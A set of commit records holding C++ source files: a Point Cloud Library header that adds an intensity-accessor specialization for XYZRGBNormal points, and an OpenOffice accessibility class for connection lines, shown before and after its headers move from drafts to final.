        return (static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f);
      }

      inline void
      get (const pcl::PointXYZRGBL &p, float& intensity) const
      {
        intensity = static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f;
      }

      inline void
      set (pcl::PointXYZRGBL &p, float intensity) const
      {
        p.r = static_cast<uint8_t> (1000 * intensity / 299);
        p.g = static_cast<uint8_t> (1000 * intensity / 587);
        p.b = static_cast<uint8_t> (1000 * intensity / 114);
      }

      inline void
      demean (pcl::PointXYZRGBL& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity -= value;
        set (p, intensity);
      }

      inline void
      add (pcl::PointXYZRGBL& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity += value;
        set (p, intensity);
      }
    };
  }
}

#endif
<commit_msg>added specialization for XYZRGBNormal<commit_after>/*
 * Software License Agreement (BSD License)
 *
 *  Point Cloud Library (PCL) - www.pointclouds.org
 *  Copyright (c) 2010-2012, Willow Garage, Inc.
 *  Copyright (c) 2012-, Open Perception, Inc.
 *
 *  All rights reserved.
 *
 *  Redistribution and use in source and binary forms, with or without
 *  modification, are permitted provided that the following conditions
 *  are met:
 *
 *   * Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above
 *     copyright notice, this list of conditions and the following
 *     disclaimer in the documentation and/or other materials provided
 *     with the distribution.
 *   * Neither the name of the copyright holder(s) nor the names of its
 *     contributors may be used to endorse or promote products derived
 *     from this software without specific prior written permission.
 *
 *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 *  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 *  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 *  POSSIBILITY OF SUCH DAMAGE.
 *
 * $Id$
 *
 */

#ifndef PCL_COMMON_INTENSITY_FIELD_ACCESSOR_IMPL_HPP
#define PCL_COMMON_INTENSITY_FIELD_ACCESSOR_IMPL_HPP

#include <pcl/point_types.h>
namespace pcl
{
  namespace common
  {
    template<>
    struct IntensityFieldAccessor<pcl::PointNormal>
    {
      inline float
      operator () (const pcl::PointNormal &p) const
      {
        return (p.curvature);
      }

      inline void
      get (const pcl::PointNormal &p, float &intensity) const
      {
        intensity = p.curvature;
      }

      inline void
      set (pcl::PointNormal &p, float intensity) const
      {
        p.curvature = intensity;
      }

      inline void
      demean (pcl::PointNormal& p, float value) const
      {
        p.curvature -= value;
      }

      inline void
      add (pcl::PointNormal& p, float value) const
      {
        p.curvature += value;
      }
    };

    template<>
    struct IntensityFieldAccessor<pcl::PointXYZ>
    {
      inline float
      operator () (const pcl::PointXYZ &p) const
      {
        return (p.z);
      }

      inline void
      get (const pcl::PointXYZ &p, float &intensity) const
      {
        intensity = p.z;
      }

      inline void
      set (pcl::PointXYZ &p, float intensity) const
      {
        p.z = intensity;
      }

      inline void
      demean (pcl::PointXYZ& p, float value) const
      {
        p.z -= value;
      }

      inline void
      add (pcl::PointXYZ& p, float value) const
      {
        p.z += value;
      }
    };

    template<>
    struct IntensityFieldAccessor<pcl::PointXYZRGB>
    {
      inline float
      operator () (const pcl::PointXYZRGB &p) const
      {
        return (static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f);
      }

      inline void
      get (const pcl::PointXYZRGB &p, float& intensity) const
      {
        intensity = static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f;
      }

      inline void
      set (pcl::PointXYZRGB &p, float intensity) const
      {
        p.r = static_cast<uint8_t> (1000 * intensity / 299);
        p.g = static_cast<uint8_t> (1000 * intensity / 587);
        p.b = static_cast<uint8_t> (1000 * intensity / 114);
      }

      inline void
      demean (pcl::PointXYZRGB& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity -= value;
        set (p, intensity);
      }

      inline void
      add (pcl::PointXYZRGB& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity += value;
        set (p, intensity);
      }
    };

    template<>
    struct IntensityFieldAccessor<pcl::PointXYZRGBA>
    {
      inline float
      operator () (const pcl::PointXYZRGBA &p) const
      {
        return (static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f);
      }

      inline void
      get (const pcl::PointXYZRGBA &p, float& intensity) const
      {
        intensity = static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f;
      }

      inline void
      set (pcl::PointXYZRGBA &p, float intensity) const
      {
        p.r = static_cast<uint8_t> (1000 * intensity / 299);
        p.g = static_cast<uint8_t> (1000 * intensity / 587);
        p.b = static_cast<uint8_t> (1000 * intensity / 114);
      }

      inline void
      demean (pcl::PointXYZRGBA& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity -= value;
        set (p, intensity);
      }

      inline void
      add (pcl::PointXYZRGBA& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity += value;
        set (p, intensity);
      }
    };

    template<>
    struct IntensityFieldAccessor<pcl::PointXYZRGBNormal>
    {
      inline float
      operator () (const pcl::PointXYZRGBNormal &p) const
      {
        return (static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f);
      }

      inline void
      get (const pcl::PointXYZRGBNormal &p, float& intensity) const
      {
        intensity = static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f;
      }

      inline void
      set (pcl::PointXYZRGBNormal &p, float intensity) const
      {
        p.r = static_cast<uint8_t> (1000 * intensity / 299);
        p.g = static_cast<uint8_t> (1000 * intensity / 587);
        p.b = static_cast<uint8_t> (1000 * intensity / 114);
      }

      inline void
      demean (pcl::PointXYZRGBNormal &p, float value) const
      {
        float intensity = this->operator () (p);
        intensity -= value;
        set (p, intensity);
      }

      inline void
      add (pcl::PointXYZRGBNormal &p, float value) const
      {
        float intensity = this->operator () (p);
        intensity += value;
        set (p, intensity);
      }
    };

    template<>
    struct IntensityFieldAccessor<pcl::PointXYZRGBL>
    {
      inline float
      operator () (const pcl::PointXYZRGBL &p) const
      {
        return (static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f);
      }

      inline void
      get (const pcl::PointXYZRGBL &p, float& intensity) const
      {
        intensity = static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f;
      }

      inline void
      set (pcl::PointXYZRGBL &p, float intensity) const
      {
        p.r = static_cast<uint8_t> (1000 * intensity / 299);
        p.g = static_cast<uint8_t> (1000 * intensity / 587);
        p.b = static_cast<uint8_t> (1000 * intensity / 114);
      }

      inline void
      demean (pcl::PointXYZRGBL& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity -= value;
        set (p, intensity);
      }

      inline void
      add (pcl::PointXYZRGBL& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity += value;
        set (p, intensity);
      }
    };
  }
}

#endif
<|endoftext|>


<commit_before><commit_msg>Set dbus driver in error state if there were problems with connecting to dbus<commit_after><|endoftext|>


<commit_before>/*************************************************************************
 *
 *  $RCSfile: ConnectionLineAccess.cxx,v $
 *
 *  $Revision: 1.4 $
 *
 *  last change: $Author: fs $ $Date: 2002-09-13 08:54:33 $
 *
 *  The Contents of this file are made available subject to the terms of
 *  either of the following licenses
 *
 *         - GNU Lesser General Public License Version 2.1
 *         - Sun Industry Standards Source License Version 1.1
 *
 *  Sun Microsystems Inc., October, 2000
 *
 *  GNU Lesser General Public License Version 2.1
 *  =============================================
 *  Copyright 2000 by Sun Microsystems, Inc.
 *  901 San Antonio Road, Palo Alto, CA 94303, USA
 *
 *  This library is free software; you can redistribute it and/or
 *  modify it under the terms of the GNU Lesser General Public
 *  License version 2.1, as published by the Free Software Foundation.
 *
 *  This library is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *  Lesser General Public License for more details.
 *
 *  You should have received a copy of the GNU Lesser General Public
 *  License along with this library; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 *  MA  02111-1307  USA
 *
 *
 *  Sun Industry Standards Source License Version 1.1
 *  =================================================
 *  The contents of this file are subject to the Sun Industry Standards
 *  Source License Version 1.1 (the License); You may not use this file
 *  except in compliance with the License. You may obtain a copy of the
 *  License at http://www.openoffice.org/license.html.
 *
 *  Software provided under this License is provided on an AS IS basis,
 *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
 *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
 *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
 *  See the License for the specific provisions governing your rights and
 *  obligations concerning the Software.
 *
 *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.
 *
 *  Copyright: 2000 by Sun Microsystems, Inc.
 *
 *  All Rights Reserved.
 *
 *  Contributor(s): _______________________________________
 *
 *
 ************************************************************************/
#ifndef DBACCESS_CONNECTIONLINEACCESS_HXX
#include "ConnectionLineAccess.hxx"
#endif
#ifndef DBAUI_JOINTABLEVIEW_HXX
#include "JoinTableView.hxx"
#endif
#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_ACCESSIBLEROLE_HPP_
#include <drafts/com/sun/star/accessibility/AccessibleRole.hpp>
#endif
#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_ACCESSIBLERELATIONTYPE_HPP_
#include <drafts/com/sun/star/accessibility/AccessibleRelationType.hpp>
#endif
#ifndef _TOOLKIT_AWT_VCLXWINDOW_HXX_
#include <toolkit/awt/vclxwindow.hxx>
#endif
#ifndef DBAUI_TABLECONNECTION_HXX
#include "TableConnection.hxx"
#endif
#ifndef DBAUI_TABLEWINDOW_HXX
#include "TableWindow.hxx"
#endif
#ifndef _COMPHELPER_UNO3_HXX_
#include <comphelper/uno3.hxx>
#endif
#ifndef DBAUI_JOINDESIGNVIEW_HXX
#include "JoinDesignView.hxx"
#endif
#ifndef DBAUI_JOINCONTROLLER_HXX
#include "JoinController.hxx"
#endif
#ifndef _COMPHELPER_SEQUENCE_HXX_
#include <comphelper/sequence.hxx>
#endif

namespace dbaui
{
    using namespace ::drafts::com::sun::star::accessibility;
    using namespace ::com::sun::star::uno;
    using namespace ::com::sun::star::beans;
    using namespace ::com::sun::star::lang;
    //  using namespace ::com::sun::star::awt;
    using namespace ::com::sun::star;

    OConnectionLineAccess::OConnectionLineAccess(const OTableConnection* _pLine)
        :OAccessibleBase(_pLine->GetParent(),_pLine ? _pLine->GetParent()->GetAccessible() : Reference< XAccessible >())
        ,m_pLine(_pLine)
    {
    }
    // -----------------------------------------------------------------------------
    void SAL_CALL OConnectionLineAccess::disposing()
    {
        m_pLine = NULL;
        OAccessibleBase::disposing();
    }
    // -----------------------------------------------------------------------------
    Any SAL_CALL OConnectionLineAccess::queryInterface( const Type& aType ) throw (RuntimeException)
    {
        Any aRet(OAccessibleBase::queryInterface( aType ));
        return aRet.hasValue() ? aRet : OConnectionLineAccess_BASE::queryInterface( aType );
    }
    // -----------------------------------------------------------------------------
    Sequence< Type > SAL_CALL OConnectionLineAccess::getTypes(  ) throw (RuntimeException)
    {
        return ::comphelper::concatSequences(OAccessibleBase::getTypes(),OConnectionLineAccess_BASE::getTypes());
    }
    // -----------------------------------------------------------------------------
    ::rtl::OUString SAL_CALL OConnectionLineAccess::getImplementationName() throw(RuntimeException)
    {
        return getImplementationName_Static();
    }
    // -----------------------------------------------------------------------------
    // XServiceInfo - static methods
    // -----------------------------------------------------------------------------
    ::rtl::OUString OConnectionLineAccess::getImplementationName_Static(void) throw( RuntimeException )
    {
        return ::rtl::OUString::createFromAscii("org.openoffice.comp.dbu.ConnectionLineAccessibility");
    }
    // -----------------------------------------------------------------------------
    // XAccessibleContext
    sal_Int32 SAL_CALL OConnectionLineAccess::getAccessibleChildCount(  ) throw (RuntimeException)
    {
        return 0;
    }
    // -----------------------------------------------------------------------------
    Reference< XAccessible > SAL_CALL OConnectionLineAccess::getAccessibleChild( sal_Int32 i ) throw (RuntimeException)
    {
        return Reference< XAccessible >();
    }
    // -----------------------------------------------------------------------------
    sal_Int32 SAL_CALL OConnectionLineAccess::getAccessibleIndexInParent(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        sal_Int32 nIndex = -1;
        if( m_pLine )
        {
            // search the postion of our table window in the table window map
            nIndex = m_pLine->GetParent()->GetTabWinMap()->size();
            const ::std::vector<OTableConnection*>* pVec = m_pLine->GetParent()->getTableConnections();
            ::std::vector<OTableConnection*>::const_iterator aIter = pVec->begin();
            for (; aIter != pVec->end() && (*aIter) != m_pLine; ++nIndex,++aIter)
                ;
            nIndex = ( aIter != pVec->end() ) ? nIndex : -1;
        }
        return nIndex;
    }
    // -----------------------------------------------------------------------------
    sal_Int16 SAL_CALL OConnectionLineAccess::getAccessibleRole(  ) throw (RuntimeException)
    {
        return AccessibleRole::UNKNOWN; // ? or may be an AccessibleRole::WINDOW
    }
    // -----------------------------------------------------------------------------
    ::rtl::OUString SAL_CALL OConnectionLineAccess::getAccessibleDescription(  ) throw (RuntimeException)
    {
        static ::rtl::OUString sDescription(RTL_CONSTASCII_USTRINGPARAM("Relation"));
        return sDescription;
    }
    // -----------------------------------------------------------------------------
    Reference< XAccessibleRelationSet > SAL_CALL OConnectionLineAccess::getAccessibleRelationSet(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        return this;
    }
    // -----------------------------------------------------------------------------
    // XAccessibleComponent
    sal_Bool SAL_CALL OConnectionLineAccess::contains( const awt::Point& _aPoint ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Point aPoint(_aPoint.X,_aPoint.Y);
        return m_pLine ? m_pLine->CheckHit(aPoint) : sal_False;
    }
    // -----------------------------------------------------------------------------
    Reference< XAccessible > SAL_CALL OConnectionLineAccess::getAccessibleAt( const awt::Point& _aPoint ) throw (RuntimeException)
    {
        return Reference< XAccessible >();
    }
    // -----------------------------------------------------------------------------
    awt::Rectangle SAL_CALL OConnectionLineAccess::getBounds(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Rectangle aRect(m_pLine ? m_pLine->GetBoundingRect() : Rectangle());
        return awt::Rectangle(aRect.getX(),aRect.getY(),aRect.getWidth(),aRect.getHeight());
    }
    // -----------------------------------------------------------------------------
    awt::Point SAL_CALL OConnectionLineAccess::getLocation(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Point aPoint(m_pLine ? m_pLine->GetBoundingRect().TopLeft() : Point());
        return awt::Point(aPoint.X(),aPoint.Y());
    }
    // -----------------------------------------------------------------------------
    awt::Point SAL_CALL OConnectionLineAccess::getLocationOnScreen(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Point aPoint(m_pLine ? m_pLine->GetParent()->ScreenToOutputPixel(m_pLine->GetBoundingRect().TopLeft()) : Point());
        return awt::Point(aPoint.X(),aPoint.Y());
    }
    // -----------------------------------------------------------------------------
    awt::Size SAL_CALL OConnectionLineAccess::getSize(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Size aSize(m_pLine ? m_pLine->GetBoundingRect().GetSize() : Size());
        return awt::Size(aSize.Width(),aSize.Height());
    }
    // -----------------------------------------------------------------------------
    sal_Bool SAL_CALL OConnectionLineAccess::isShowing(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        return m_pLine ? m_pLine->GetParent()->GetWindowRegionPixel().IsInside(m_pLine->GetBoundingRect()) : sal_False;
    }
    // -----------------------------------------------------------------------------
    sal_Bool SAL_CALL OConnectionLineAccess::isVisible(  ) throw (RuntimeException)
    {
        return sal_True;
    }
    // -----------------------------------------------------------------------------
    sal_Bool SAL_CALL OConnectionLineAccess::isFocusTraversable(  ) throw (RuntimeException)
    {
        return sal_True;
    }
    // -----------------------------------------------------------------------------
    // XAccessibleRelationSet
    // -----------------------------------------------------------------------------
    sal_Int32 SAL_CALL OConnectionLineAccess::getRelationCount(  ) throw (RuntimeException)
    {
        return 1;
    }
    // -----------------------------------------------------------------------------
    AccessibleRelation SAL_CALL OConnectionLineAccess::getRelation( sal_Int32 nIndex ) throw (IndexOutOfBoundsException, RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        if( nIndex < 0 || nIndex >= getRelationCount() )
            throw IndexOutOfBoundsException();

        Sequence< Reference<XInterface> > aSeq(m_pLine ? 2 : 0);
        if( m_pLine )
        {
            aSeq[0] = m_pLine->GetSourceWin()->GetAccessible();
            aSeq[1] = m_pLine->GetDestWin()->GetAccessible();
        }

        return AccessibleRelation(AccessibleRelationType::CONTROLLED_BY,aSeq);
    }
    // -----------------------------------------------------------------------------
    sal_Bool SAL_CALL OConnectionLineAccess::containsRelation( sal_Int16 aRelationType ) throw (RuntimeException)
    {
        return AccessibleRelationType::CONTROLLED_BY == aRelationType;
    }
    // -----------------------------------------------------------------------------
    AccessibleRelation SAL_CALL OConnectionLineAccess::getRelationByType( sal_Int16 aRelationType ) throw (RuntimeException)
    {
        if( AccessibleRelationType::CONTROLLED_BY == aRelationType )
            return getRelation(0);
        return AccessibleRelation();
    }
    // -----------------------------------------------------------------------------
    Reference< XAccessible > OTableConnection::getAccessible() const
    {
        if( !m_xAccessible.is() )
            m_xAccessible = new OConnectionLineAccess(this);
        return m_xAccessible;
    }
    // -----------------------------------------------------------------------------
    OTableConnection::~OTableConnection()
    {
        ::comphelper::disposeComponent(m_xAccessible);
        //////////////////////////////////////////////////////////////////////
        // clear vector
        clearLineData();
        DBG_DTOR(OTableConnection,NULL);
    }
    // -----------------------------------------------------------------------------
    sal_Bool OConnectionLineAccess::isEditable() const
    {
        return m_pLine ? !m_pLine->GetParent()->getDesignView()->getController()->isReadOnly() : sal_False;
    }
    // -----------------------------------------------------------------------------
}
// -----------------------------------------------------------------------------

<commit_msg>INTEGRATION: CWS uaa02 (1.4.66); FILE MERGED 2003/04/11 16:18:48 mt 1.4.66.1: #108656# Moved accessibility from drafts to final<commit_after>/*************************************************************************
 *
 *  $RCSfile: ConnectionLineAccess.cxx,v $
 *
 *  $Revision: 1.5 $
 *
 *  last change: $Author: vg $ $Date: 2003-04-24 17:21:56 $
 *
 *  The Contents of this file are made available subject to the terms of
 *  either of the following licenses
 *
 *         - GNU Lesser General Public License Version 2.1
 *         - Sun Industry Standards Source License Version 1.1
 *
 *  Sun Microsystems Inc., October, 2000
 *
 *  GNU Lesser General Public License Version 2.1
 *  =============================================
 *  Copyright 2000 by Sun Microsystems, Inc.
 *  901 San Antonio Road, Palo Alto, CA 94303, USA
 *
 *  This library is free software; you can redistribute it and/or
 *  modify it under the terms of the GNU Lesser General Public
 *  License version 2.1, as published by the Free Software Foundation.
 *
 *  This library is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *  Lesser General Public License for more details.
 *
 *  You should have received a copy of the GNU Lesser General Public
 *  License along with this library; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 *  MA  02111-1307  USA
 *
 *
 *  Sun Industry Standards Source License Version 1.1
 *  =================================================
 *  The contents of this file are subject to the Sun Industry Standards
 *  Source License Version 1.1 (the License); You may not use this file
 *  except in compliance with the License. You may obtain a copy of the
 *  License at http://www.openoffice.org/license.html.
 *
 *  Software provided under this License is provided on an AS IS basis,
 *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
 *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
 *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
 *  See the License for the specific provisions governing your rights and
 *  obligations concerning the Software.
 *
 *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.
 *
 *  Copyright: 2000 by Sun Microsystems, Inc.
 *
 *  All Rights Reserved.
 *
 *  Contributor(s): _______________________________________
 *
 *
 ************************************************************************/
#ifndef DBACCESS_CONNECTIONLINEACCESS_HXX
#include "ConnectionLineAccess.hxx"
#endif
#ifndef DBAUI_JOINTABLEVIEW_HXX
#include "JoinTableView.hxx"
#endif
#ifndef _COM_SUN_STAR_ACCESSIBILITY_ACCESSIBLEROLE_HPP_
#include <com/sun/star/accessibility/AccessibleRole.hpp>
#endif
#ifndef _COM_SUN_STAR_ACCESSIBILITY_ACCESSIBLERELATIONTYPE_HPP_
#include <com/sun/star/accessibility/AccessibleRelationType.hpp>
#endif
#ifndef _TOOLKIT_AWT_VCLXWINDOW_HXX_
#include <toolkit/awt/vclxwindow.hxx>
#endif
#ifndef DBAUI_TABLECONNECTION_HXX
#include "TableConnection.hxx"
#endif
#ifndef DBAUI_TABLEWINDOW_HXX
#include "TableWindow.hxx"
#endif
#ifndef _COMPHELPER_UNO3_HXX_
#include <comphelper/uno3.hxx>
#endif
#ifndef DBAUI_JOINDESIGNVIEW_HXX
#include "JoinDesignView.hxx"
#endif
#ifndef DBAUI_JOINCONTROLLER_HXX
#include "JoinController.hxx"
#endif
#ifndef _COMPHELPER_SEQUENCE_HXX_
#include <comphelper/sequence.hxx>
#endif

namespace dbaui
{
    using namespace ::com::sun::star::accessibility;
    using namespace ::com::sun::star::uno;
    using namespace ::com::sun::star::beans;
    using namespace ::com::sun::star::lang;
    //  using namespace ::com::sun::star::awt;
    using namespace ::com::sun::star;

    OConnectionLineAccess::OConnectionLineAccess(const OTableConnection* _pLine)
        :OAccessibleBase(_pLine->GetParent(),_pLine ? _pLine->GetParent()->GetAccessible() : Reference< XAccessible >())
        ,m_pLine(_pLine)
    {
    }
    // -----------------------------------------------------------------------------
    void SAL_CALL OConnectionLineAccess::disposing()
    {
        m_pLine = NULL;
        OAccessibleBase::disposing();
    }
    // -----------------------------------------------------------------------------
    Any SAL_CALL OConnectionLineAccess::queryInterface( const Type& aType ) throw (RuntimeException)
    {
        Any aRet(OAccessibleBase::queryInterface( aType ));
        return aRet.hasValue() ? aRet : OConnectionLineAccess_BASE::queryInterface( aType );
    }
    // -----------------------------------------------------------------------------
    Sequence< Type > SAL_CALL OConnectionLineAccess::getTypes(  ) throw (RuntimeException)
    {
        return ::comphelper::concatSequences(OAccessibleBase::getTypes(),OConnectionLineAccess_BASE::getTypes());
    }
    // -----------------------------------------------------------------------------
    ::rtl::OUString SAL_CALL OConnectionLineAccess::getImplementationName() throw(RuntimeException)
    {
        return getImplementationName_Static();
    }
    // -----------------------------------------------------------------------------
    // XServiceInfo - static methods
    // -----------------------------------------------------------------------------
    ::rtl::OUString OConnectionLineAccess::getImplementationName_Static(void) throw( RuntimeException )
    {
        return ::rtl::OUString::createFromAscii("org.openoffice.comp.dbu.ConnectionLineAccessibility");
    }
    // -----------------------------------------------------------------------------
    // XAccessibleContext
    sal_Int32 SAL_CALL OConnectionLineAccess::getAccessibleChildCount(  ) throw (RuntimeException)
    {
        return 0;
    }
    // -----------------------------------------------------------------------------
    Reference< XAccessible > SAL_CALL OConnectionLineAccess::getAccessibleChild( sal_Int32 i ) throw (RuntimeException)
    {
        return Reference< XAccessible >();
    }
    // -----------------------------------------------------------------------------
    sal_Int32 SAL_CALL OConnectionLineAccess::getAccessibleIndexInParent(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        sal_Int32 nIndex = -1;
        if( m_pLine )
        {
            // search the postion of our table window in the table window map
            nIndex = m_pLine->GetParent()->GetTabWinMap()->size();
            const ::std::vector<OTableConnection*>* pVec = m_pLine->GetParent()->getTableConnections();
            ::std::vector<OTableConnection*>::const_iterator aIter = pVec->begin();
            for (; aIter != pVec->end() && (*aIter) != m_pLine; ++nIndex,++aIter)
                ;
            nIndex = ( aIter != pVec->end() ) ? nIndex : -1;
        }
        return nIndex;
    }
    // -----------------------------------------------------------------------------
    sal_Int16 SAL_CALL OConnectionLineAccess::getAccessibleRole(  ) throw (RuntimeException)
    {
        return AccessibleRole::UNKNOWN; // ? or may be an AccessibleRole::WINDOW
    }
    // -----------------------------------------------------------------------------
    ::rtl::OUString SAL_CALL OConnectionLineAccess::getAccessibleDescription(  ) throw (RuntimeException)
    {
        static ::rtl::OUString sDescription(RTL_CONSTASCII_USTRINGPARAM("Relation"));
        return sDescription;
    }
    // -----------------------------------------------------------------------------
    Reference< XAccessibleRelationSet > SAL_CALL OConnectionLineAccess::getAccessibleRelationSet(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        return this;
    }
    // -----------------------------------------------------------------------------
    // XAccessibleComponent
    sal_Bool SAL_CALL OConnectionLineAccess::contains( const awt::Point& _aPoint ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Point aPoint(_aPoint.X,_aPoint.Y);
        return m_pLine ? m_pLine->CheckHit(aPoint) : sal_False;
    }
    // -----------------------------------------------------------------------------
    Reference< XAccessible > SAL_CALL OConnectionLineAccess::getAccessibleAtPoint( const awt::Point& _aPoint ) throw (RuntimeException)
    {
        return Reference< XAccessible >();
    }
    // -----------------------------------------------------------------------------
    awt::Rectangle SAL_CALL OConnectionLineAccess::getBounds(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Rectangle aRect(m_pLine ? m_pLine->GetBoundingRect() : Rectangle());
        return awt::Rectangle(aRect.getX(),aRect.getY(),aRect.getWidth(),aRect.getHeight());
    }
    // -----------------------------------------------------------------------------
    awt::Point SAL_CALL OConnectionLineAccess::getLocation(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Point aPoint(m_pLine ? m_pLine->GetBoundingRect().TopLeft() : Point());
        return awt::Point(aPoint.X(),aPoint.Y());
    }
    // -----------------------------------------------------------------------------
    awt::Point SAL_CALL OConnectionLineAccess::getLocationOnScreen(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Point aPoint(m_pLine ? m_pLine->GetParent()->ScreenToOutputPixel(m_pLine->GetBoundingRect().TopLeft()) : Point());
        return awt::Point(aPoint.X(),aPoint.Y());
    }
    // -----------------------------------------------------------------------------
    awt::Size SAL_CALL OConnectionLineAccess::getSize(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        Size aSize(m_pLine ? m_pLine->GetBoundingRect().GetSize() : Size());
        return awt::Size(aSize.Width(),aSize.Height());
    }
    // -----------------------------------------------------------------------------
    sal_Bool SAL_CALL OConnectionLineAccess::isShowing(  ) throw (RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        return m_pLine ? m_pLine->GetParent()->GetWindowRegionPixel().IsInside(m_pLine->GetBoundingRect()) : sal_False;
    }
    // -----------------------------------------------------------------------------
    sal_Bool SAL_CALL OConnectionLineAccess::isVisible(  ) throw (RuntimeException)
    {
        return sal_True;
    }
    // -----------------------------------------------------------------------------
    sal_Bool SAL_CALL OConnectionLineAccess::isFocusTraversable(  ) throw (RuntimeException)
    {
        return sal_True;
    }
    // -----------------------------------------------------------------------------
    // XAccessibleRelationSet
    // -----------------------------------------------------------------------------
    sal_Int32 SAL_CALL OConnectionLineAccess::getRelationCount(  ) throw (RuntimeException)
    {
        return 1;
    }
    // -----------------------------------------------------------------------------
    AccessibleRelation SAL_CALL OConnectionLineAccess::getRelation( sal_Int32 nIndex ) throw (IndexOutOfBoundsException, RuntimeException)
    {
        ::osl::MutexGuard aGuard( m_aMutex  );
        if( nIndex < 0 || nIndex >= getRelationCount() )
            throw IndexOutOfBoundsException();

        Sequence< Reference<XInterface> > aSeq(m_pLine ? 2 : 0);
        if( m_pLine )
        {
            aSeq[0] = m_pLine->GetSourceWin()->GetAccessible();
            aSeq[1] = m_pLine->GetDestWin()->GetAccessible();
        }

        return AccessibleRelation(AccessibleRelationType::CONTROLLED_BY,aSeq);
    }
    // -----------------------------------------------------------------------------
    sal_Bool SAL_CALL OConnectionLineAccess::containsRelation( sal_Int16 aRelationType ) throw (RuntimeException)
    {
        return AccessibleRelationType::CONTROLLED_BY == aRelationType;
    }
    // -----------------------------------------------------------------------------
    AccessibleRelation SAL_CALL OConnectionLineAccess::getRelationByType( sal_Int16 aRelationType ) throw (RuntimeException)
    {
        if( AccessibleRelationType::CONTROLLED_BY == aRelationType )
            return getRelation(0);
        return AccessibleRelation();
    }
    // -----------------------------------------------------------------------------
    Reference< XAccessible > OTableConnection::getAccessible() const
    {
        if( !m_xAccessible.is() )
            m_xAccessible = new OConnectionLineAccess(this);
        return m_xAccessible;
    }
    // -----------------------------------------------------------------------------
    OTableConnection::~OTableConnection()
    {
        ::comphelper::disposeComponent(m_xAccessible);
        //////////////////////////////////////////////////////////////////////
        // clear vector
        clearLineData();
